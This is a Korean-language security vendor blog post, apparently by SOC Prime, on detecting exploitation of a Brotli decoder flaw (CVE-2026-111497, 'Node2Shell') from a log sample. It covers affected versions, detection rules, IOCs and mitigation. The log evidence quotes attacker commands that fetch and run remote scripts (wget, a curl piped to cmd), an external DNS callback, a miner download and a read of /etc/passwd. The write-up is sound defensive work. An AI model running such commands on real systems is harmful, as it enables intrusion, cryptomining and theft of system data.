Node2Shell/HTTP2Shell 탐지

Node2Shell/HTTP2Shell 탐지

SOC Prime Team
SOC Prime Team linkedin icon 팔로우

Node2Shell/HTTP2Shell 탐지는 생각보다 더 어렵습니다. 왜냐하면 이 취약점은 하나의 제품에만 국한되지 않기 때문입니다. Node2Shell, 또는 HTTP2Shell이라고 불리는 이 문제는 CVE-2026-111497로, 구글의 Brotli C 디코더 버전 1.0.3부터 1.2.0까지에서 발생하는 out-of-bounds 쓰기 문제입니다. CVSS 4.0 기준 9.2로 평가되었습니다. 이 결함은 공유 압축 라이브러리에 위치하여, Node.js, Python Brotli 패키지, Bun, curl, Envoy, 그리고 기타 소프트웨어에서 Brotli를 디코딩할 때 문제가 발생할 수 있습니다.

이 기사에서는 LogTotal에서 이벤트를 알려진 위협과 매칭하여 분석을 실시한 로그 샘플을 사용하여 Node2Shell/HTTP2Shell 탐지에 대해 다룹니다. 아래에서는 취약점의 맥락, 로그 소스, LogTotal의 보고 내용, 그리고 대응 방법을 논의합니다.

무료로 시작하기

Node2Shell (HTTP2Shell) 분석

취약한 코드는 Brotli C 디코더 버전 1.0.3부터 1.2.0까지에 위치합니다. 구글은 이를 CVSS 4.0 기준으로 9.2로 평가했으며, Node.js에서는 이를 고위험으로 평가합니다. 로그 샘플을 올바르게 읽기 위해서는, 버그가 어떻게 트리거되었는지, 공개가 어떻게 이루어졌는지, 그리고 노출된 소프트웨어 버전 및 설정에 대한 이해가 도움이 됩니다.

Node2Shell 취약점 세부 정보

단일 블록 유형을 선언한 후 블록을 전환한 Brotli 스트림이 거부되지 않았기 때문에 디코딩이 유효하지 않은 상태에서 계속 진행되었고, 버퍼를 초과하여 작성되었습니다. 공격자가 제어하는 Brotli 데이터를 디컴프레싱하는 모든 프로세스가 두 방향으로 노출될 수 있습니다:

  • 인바운드(Inbound): 서버에 보내진, 조작된 Brotli 압축 HTTP 요청 본문이 디코딩됩니다.
  • 아웃바운드(Outbound): 조작된 응답이 가져오는 클라이언트로 반환됩니다.

이 버그에는 여러 이름이 있습니다. Node.js가 처음으로 공개하고 이를 수정했기 때문에 Node2Shell이 가장 먼저 사용되었습니다. HTTP2Shell은 Brotli를 HTTP를 통해 디코딩하는 모든 스택에 영향을 미치며, 일부 커버리지에서는 Python2Shell과 Broccoli2Shell을 사용하기도 합니다.

공개 및 악용 타임라인

날짜 (2026)이벤트
10월 27일CISA가 CVE를 KEV 카탈로그에 추가; 미국 연방 기관은 11월 10일까지 패치해야 함
10월 26일이 샘플에서 app-node-01에서 로그된 악용
10월 25일마이크로소프트가 .NET의 긴급 패치를 발표
10월 22일CVE 발표; Node.js 24.22.0에서 공개적으로 코드 실행이 시연됨; Bun 1.4.4 출시
10월 21일Node.js 공개 및 수정 릴리즈; Brotli 1.0.10, 1.1.1, 및 1.2.1 출시
2월 27일구글/brotli에 수정이 커밋되었으나 릴리즈나 권고 없이 실행됨

이 버그 자체는 2018년 3월에 Brotli 1.0.3으로 출발했습니다. OpenAI Codex Security의 Khai Tran과 Sylvie Mayer가 Node.js에 버그를 보고했습니다. 공개된 개념 증명이 존재하며, Imperva와 ELLIO는 공식 Node.js 빌드에 대한 코드 실행을 모두 재현하였고, 어떤 호스트가 Brotli를 디컴프레싱하는지를 매핑하는 스캐너도 이미 사용 중입니다. Python 패키지에서는 코드 실행이 시연되지 않았지만, 악의적인 입력으로 인해 충돌이 발생합니다. 이 샘플의 웹-prod-01 충돌에서 보듯이.

Node2Shell 영향받는 버전 및 수정 사항

구성 요소고정 버전
Node.js 26.x / 24.x / 22.x26.12.1 / 24.22.1 / 22.23.4
Node.js 20.x 및 기타 사용 중지 라인고정되지 않음; 지원되는 라인으로 이동
Bun1.4.4
구글 Brotli 라이브러리1.0.10, 1.1.1, 1.2.1
PyPI brotli / brotlicffi1.2.1 / 1.2.1.0
.NET 런타임 8 / 9 / 108.0.33 / 9.0.22 / 10.0.14
Envoy1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0
Istio1.29.9, 1.30.6, 1.31.2
Java brotli4j / Ruby brotli gem1.24.0 / 0.9.1

공격자 데이터가 디코더에 도달할 수 있을 때에만 취약한 버전이 노출됩니다. Node.js에서는 Express 5, body-parser 2.x, Koa body parser, 요청 디컴프레싱을 포함한 @fastify/compress, fetch(), 직접 node:zlib Brotli 호출을 통해 이러한 경로가 존재합니다. Python에서는 requests, httpx, aiohttp, Scrapy가 brotli 또는 brotlicffi 패키지를 설치할 때마다 사용합니다. .NET에서는 Brotli 디컴프레싱이 기본적으로 꺼져 있고, Envoy와 Istio는 Brotli 디컴프레서를 활성화한 경우에만 노출됩니다. curl은 시스템 libbrotli를 통해 –compressed로만 Brotli를 디코딩하므로 패치된 배포 패키지가 필요하며, Debian과 Red Hat은 수정된 패키지를 출시하였습니다.

로그 소스 및 수집

속성값
파일Node2Shell_HTTP2Shell_sample-sanitized.jsonl
이벤트11
시간 창2026년 10월 26일, 11:30:55에서 11:33:05 UTC
스키마ECS 스타일
소스간단한 텍스트 Linux 커널 및 systemd-coredump 메시지 4개; Microsoft Defender for Endpoint 프로세스 생성 이벤트 7개

샘플에 포함된 호스트

세 개의 호스트가 원시 데이터에 나타나며, 두 개의 운영 체제에서 발생합니다. 각각은 Node2Shell 노출의 다른 부분을 보여줍니다.

호스트OS런타임로그에 나타난 활동
app-node-01리눅스Node.js 앱 /opt/app/server.jsBrotli 충돌, 그다음 후속 명령
web-prod-01리눅스Python 프로세스_brotli.cpython-311에서의 충돌
win-dev-01윈도우Node.js 앱 C:Usersdevuserappserver.js다운로드 및 실행, 숨겨진 PowerShell

Node2Shell (HTTP2Shell) 감지

LogTotal은 5.3초 만에 11줄을 처리하고 10줄에 대해 23개의 규칙을 매칭했습니다. 2개의 체인을 형성하고, 1개를 보고하며, AI 검증 단계에서 1개를 필터링했습니다.

결론 필드결과
결론의심스러움, 조사 필요
심각성높음
신뢰도중간

보고된 체인은 Node2Shell / HTTP2Shell은 심각한 취약점입니다 (CVE-2026-111497): 높음, 100% 매치, 2개의 규칙이 발동되었습니다. 이는 익명화된 호스트에서 11:30에서 11:31 UTC 사이에 위치하며, 그 시간대와 증거는 app-node-01에 매칭됩니다.

악용: Brotli 디코더 충돌

“Possible CVE-2026-111497 (HTTP2Shell / Node2Shell) Exploitation Attempt – Brotli Decoder Native Crash” 규칙이 libbrotlidec.so.1.1.0에서 노드가 세그멘테이션 오류를 일으킬 때 매칭되었습니다. 코어 덤프 스택은 BrotliDecoderDecompressStream에 의해 상위에 있습니다.

이 보고서는 이 충돌을 서비스 거부 (T1499.004)로 매핑하며, 이것이 Impact 단계로 이어지는 곳입니다. 규칙의 마지막 일격은 11:33에 있었으며, 이는 웹-prod-01의 _brotli.cpython-311의 python3 충돌에 해당하며, 동일한 라이브러리가 두 번째 런타임에서 실패했음을 나타냅니다.

리눅스에서의 후속 이용

“Suspicious NodeJS Child Processes [Linux]”가 다음과 같이 발동되었습니다.

  • curl이 공개 C3Pool XMRig 마이너 설정 스크립트를 가져옵니다
  • wget http://198.51.100.23:3000/s.sh
  • ping -c 1 5axzi7.dnslog.cn, 외부 콜백 확인
  • cat /etc/passwd

체인 외부에서의 Windows 후속 이용

샘플의 Windows 절반은 보고된 체인 외부에 있지만 같은 주의를 필요로 합니다. win-dev-01에서 node.exe가 cmd.exe /c “curl -s https://198.51.100.23/api/w | cmd”를 생성했는데, 이는 다운로드 및 실행 패턴이며, 그 후 숨겨진 powershell.exe가 whoami를 실행합니다.

이 활동에 대해 실행된 규칙에는 Suspicious NodeJS Child Processes [Windows], Read Contents From Stdin Via Cmd.EXE, 및 Suspicious Powershell Cmdlets가 포함됩니다. 필터링된 체인, Meet AvisLoader: A Windows Loader Built to Outlast a Takedown (High)은 curl 실행에 의해 주도되었습니다.

이 샘플로부터의 Node2Shell IOCs

지표유형상황
198.51.100.23IPs.sh(포트 3000)과 /api/w(HTTPS)의 페이로드 호스트
http://198.51.100.23:3000/s.shURLapp-node-01에서 wget으로 가져온 스크립트
https://198.51.100.23/api/wURLwin-dev-01에서 cmd로 파이프 됨
5axzi7.dnslog.cn도메인ping을 통한 외부 콜백
C3Pool XMRig 마이너 설정 스크립트다운로드node에서 curl으로 가져옴
스택에 BrotliDecoderDecompressStream이 있는 libbrotlidec.so.1.1.0충돌 서명Node.js 악용 시도
_brotli.cpython-311 충돌충돌 서명Python 악용 시도
node / node.exe가 curl, wget, ping, cat, cmd.exe, powershell.exe를 생성프로세스 계통후속 이용

LogTotal의 Node2Shell 대처에서의 결과 활용

보고된 체인에서 시작하여 app-node-01에서 악용을 확인한 다음 체인 외부의 모든 발견 사항을 검토합니다. 이 샘플에서는 체인 외부의 규칙과 필터링된 체인이 두 개의 더 많은 영향을 받은 호스트, 웹-prod-01과 win-dev-01을 가리킵니다.

Node2Shell (HTTP2Shell) 완화

Node.js를 패치하는 것만으로는 Node2Shell을 해결할 수 없습니다. 왜냐하면 이 결함은 공유된 Brotli 디코더에 존재하기 때문입니다. Brotli를 디코드하는 모든 런타임 또는 프록시는 업데이트가 필요하고, 샘플 내의 모든 호스트는 범위에 포함되어야 합니다.

모든 Brotli 소비자 패치

  1. 22.23.4, 24.22.1, 또는 26.12.1 이하의 Node.js와 수명이 종료된 Node.js 라인에 있는 서비스, 혹은 1.4.4 이하의 Bun에 있는 서비스(기본 이미지를 포함) 및 빌드 호스트를 찾아 수정하세요.
  2. 먼저 요청 본문을 디컴프레싱하는 서비스(Express 5, body-parser 2.x, Koa body parser, @fastify/compress)를 패치하거나, 사용자 제공 URL을 가져오거나, 신뢰할 수 없는 데이터를 node:zlib Brotli 함수에 전달하는 서비스부터 패치하세요.
  3. 런타임을 업그레이드한 후 프로세스를 다시 시작하고, 컨테이너 이미지를 재구축하며, 자체 포함된 .NET 앱 및 bun build –compile로 생성된 바이너리를 업그레이드합니다.
  4. PyPI brotli를 1.2.1로 업그레이드하고 brotlicffi를 1.2.1.0으로 업그레이드하며, .NET 런타임, Envoy, Istio 및 배포 brotli 패키지를 업데이트합니다.
  5. 수명 종료된 Node.js 20 및 기타 수명 종료 라인에서 이동하며, 이들은 수정 사항을 받지 않습니다.
  6. 패치가 배포되기 전까지, WAF나 프록시에서 Content-Encoding: br을 대소문자를 구분하지 않고 “gzip, br”과 같은 목록 내에서 거부합니다. 이것은 fetch()에 의해 읽혀지는 Brotli 응답을 포괄하지 않습니다.

LogTotal의 권장 대응

  1. 호스트를 격리하십시오.
  2. 11:30–11:33 UTC의 프로세스, 시스템, 네트워크 로그를 수집하십시오.
  3. Node.js 패치 레벨을 검증하십시오: 22.23.4, 24.22.1, 혹은 26.12.1.
  4. 승인되지 않은 바이너리를 제거하십시오.
  5. WAF에서 신뢰할 수 없는 Content-Encoding: br을 거부하십시오.
  6. 비특권 사용으로 Node.js를 실행하십시오.
  7. 가능한 경우 자동 Brotli 디컴프레싱을 비활성화하십시오.

원시 증거에서 추가 단계

  1. 범위를 확장하십시오 app-node-01뿐만 아니라 win-dev-01과 web-prod-01에 대해.
  2. 출구에서 차단하십시오 198.51.100.23 및 *.dnslog.cn.
  3. 마이너 확인: cron 항목, systemd 유닛 및 실행 중인 xmrig 프로세스.
  4. /etc/passwd가 읽혔다고 가정하고 디렉토리를 검토하십시오.
  5. 사냥 노드, node.exe 또는 python3이 셸을 생성하거나, 다운로드 도구를 생성하거나, 네트워크 도구를 생성하는지 확인하십시오.

진행 중인 Node2Shell 모니터링

커널 및 systemd-coredump 메시지와 함께 EDR 프로세스 이벤트를 포워드하십시오. 이 샘플에서는 coredump 스택이 악용의 유일한 직접적인 증거였고, EDR 이벤트가 그 이후의 모든 것을 운반했습니다.

FAQ

Node2Shell (HTTP2Shell)이란 무엇이며 어떻게 작동합니까?

Node2Shell, 또는 HTTP2Shell이라고 불리는 이 문제는 CVE-2026-111497로, 구글의 Brotli C 디코더 버전 1.0.3부터 1.2.0까지에서 발생하는 out-of-bounds 쓰기 문제입니다. 이는 CVSS 4.0 기준 9.2로 평가되었습니다. 제작된 Brotli 데이터는 이를 디컴프레싱하는 모든 프로세스를 충돌시킬 수 있으며, Node.js에서는 원격 코드 실행을 제공하는 것으로 나타났습니다. 위의 분석 섹션은 이것이 어떻게 작동하는지를 설명합니다.

Node2Shell은 언제 처음 발견되었습니까?

OpenAI Codex Security의 Khai Tran과 Sylvie Mayer가 이 버그를 발견하고 Node.js에 보고했습니다. 이 문제는 2018년 3월 Brotli 1.0.3까지 거슬러 올라갑니다. 2026년 2월 27일에 수정이 상위 스트림에 커밋되었지만 릴리스 없이 실행되었으며, Node.js는 2026년 10월 21일에 이 결함을 공개했습니다.

Node2Shell이 시스템에 미치는 영향은 무엇입니까?

충돌 그 자체로는 서비스 거부입니다. 취약한 프로세스의 컨텍스트에서 코드 실행을 보여주는 후속 활동도 있습니다. 이 샘플에서는 암호화폐 채굴 설정 스크립트 다운로드, 페이로드 가져오기, 외부 DNS 콜백, /etc/passwd 읽기, 및 Windows 호스트에서의 다운로드 및 실행이 있었습니다.

2026년에 Node2Shell이 여전히 저에게 영향을 미칠 수 있습니까?

네. CVE-2026-111497은 실제로 악용되고 있으며, CISA의 KEV 카탈로그에 등재되어 있습니다. 패치되지 않은 Node.js, Bun, Python, .NET 및 프록시 배포는 여전히 노출돼 있으며, Node.js 20 및 다른 수명 종료 라인은 더 이상 수정되지 않을 것입니다.

Node2Shell로부터 어떻게 스스로를 보호할 수 있습니까?

Node.js 및 기타 모든 Brotli 소비자를 패치하고, 프로세스를 재시작하고 이미지를 재구축하십시오. 이를 위해서는 WAF나 프록시에서 Content-Encoding: br을 거부하고 가능한 경우 자동 Brotli 디컴프레싱을 비활성화하십시오. 완화 섹션에 전체 단계가 나와 있습니다.

Node2Shell을 어떻게 감지할 수 있습니까?

모든 Node.js 및 Python 호스트에서 커널 및 systemd-coredump 로그와 EDR 프로세스 이벤트를 수집하십시오. Brotli 디코더 충돌과 런타임이 셸이나 다운로드 도구를 생성할 때 알림을 설정하십시오. LogTotal은 이러한 이벤트를 Node2Shell 체인에 매핑하지만, 여기서 두 개의 추가 호스트를 발굴하였듯이, 체인 외부의 발견 사항도 검토해야 합니다.

SOC Prime의 Detection as Code 플랫폼에 가입하세요 귀사의 비즈니스에 가장 중요한 위협에 대한 가시성을 개선하세요. 시작을 돕고 즉각적인 가치를 제공하기 위해 지금 SOC Prime 전문가와의 회의를 예약하세요.